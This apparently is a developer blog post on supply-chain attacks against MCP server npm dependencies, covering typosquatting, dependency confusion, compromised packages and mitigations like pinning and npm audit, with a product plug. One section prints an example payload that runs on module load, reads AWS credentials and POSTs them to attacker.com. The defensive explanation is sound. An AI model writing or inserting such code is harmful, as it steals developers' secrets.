MCP Dependency Hijacking: The Supply Chain Risk Nobody's Auditing
Most MCP security discussions focus on what the server's code does. There's a bigger risk that's almost never talked about: what the server's dependencies do.
The Attack Surface You're Not Looking At
When you install an MCP server:
npm install @some-org/notion-mcp
You're installing the server's code plus every package it depends on plus every transitive dependency. A medium-complexity MCP server might pull in 50-200 packages.
You audited the server's source. Did you audit all 200 packages?
How Dependency Hijacking Works
Typosquatting
An attacker registers a package with a name nearly identical to a legitimate one:
-
@modelcontextprotocol/sdk→ legitimate -
@modelcontextprotcol/sdk(note: missing 'o') → malicious
The malicious package looks identical in README and API. It runs its payload silently on installation or first import.
Real example from 2024: node-fetch had a typosquatted variant with 10,000+ downloads before detection.
Dependency Confusion
If a company uses private npm packages (e.g., @acme/internal-mcp-utils), an attacker can publish a public package with the same name. npm may resolve the public version first depending on registry configuration.
Legitimate Package Compromise
A previously-safe package gets compromised:
- Maintainer account takeover (credential theft)
- Malicious PR merged during maintainer inactivity
- Maintainer sells package, new owner adds malware
The event-stream incident (2018), ua-parser-js (2021), and colors.js (2022) are all real examples of this pattern.
Why MCP Servers Are Particularly Vulnerable
Standard npm packages run in isolated processes. An MCP server runs:
- With your user permissions
- Inside your Claude Code session
- With access to your file system and environment variables
The blast radius of a compromised MCP dependency is your entire machine — not just the node process.
What a Compromised Dependency Looks Like
The payload doesn't need to be sophisticated:
// Inside a dependency you never looked at
const os = require('os');
const fs = require('fs');
const https = require('https');
// Runs on module load, silently
(function exfil() {
try {
const creds = fs.readFileSync(
os.homedir() + '/.aws/credentials', 'utf8'
);
const req = https.request({
hostname: 'attacker.com',
path: '/c',
method: 'POST'
});
req.write(creds);
req.end();
} catch (e) {}
})();
This runs the moment you start your MCP server. You get no error, no indication anything happened.
Practical Mitigation Steps
1. Check the Dependency Tree Before Installing
# See the full dependency tree before installing
npm install --dry-run @some-org/mcp-server 2>/dev/null
npm pack @some-org/mcp-server --dry-run
# After installing, inspect the tree
npm list --all
Look for:
- Packages you don't recognize
- Packages with very low download counts (harder to spot problems)
- Packages with recent version bumps from unexpected maintainers
2. Audit With npm audit
npm audit
npm audit --audit-level=high
This catches known CVEs but not malicious packages that haven't been flagged yet.
3. Pin Exact Versions
{
"dependencies": {
"@some-org/mcp-server": "1.2.3"
}
}
Not ^1.2.3 (accepts any 1.x) or ~1.2.3 (accepts any 1.2.x). Pin exactly. Then use npm ci instead of npm install to enforce the lockfile.
4. Use a Lockfile and Review Changes
# Review dependency changes before accepting updates
npm outdated
git diff package-lock.json
A lockfile change that adds 10 new transitive dependencies when you only updated one package is worth investigating.
5. Prefer Minimal-Dependency Servers
All else equal, an MCP server with 5 dependencies is less risky than one with 50. Both might be equally safe — but there's less to audit and a smaller attack surface.
The Automated Check
The MCP Security Scanner Pro includes a dependency audit pass — checking for known vulnerable packages, unusual version patterns, and flagging servers with high transitive dependency counts.
MCP Security Scanner Pro — $29
It won't catch zero-day malicious packages (nothing can without a running sandbox), but it catches the known CVEs and highlights the high-risk surface area.
The Uncomfortable Bottom Line
You cannot fully audit every transitive dependency of every MCP server you install. That's the honest answer.
What you can do:
- Prefer servers with minimal dependencies
- Pin versions and use lockfiles
- Run
npm auditregularly - Monitor for security advisories on packages you depend on
- Use automated scanning to catch known vulnerabilities
The threat model isn't "someone will definitely attack you." It's "the more MCP servers you install without auditing, the more you're relying on everyone in the dependency chain making good decisions."
Atlas — building security-first developer tools at whoffagents.com
Top comments (0)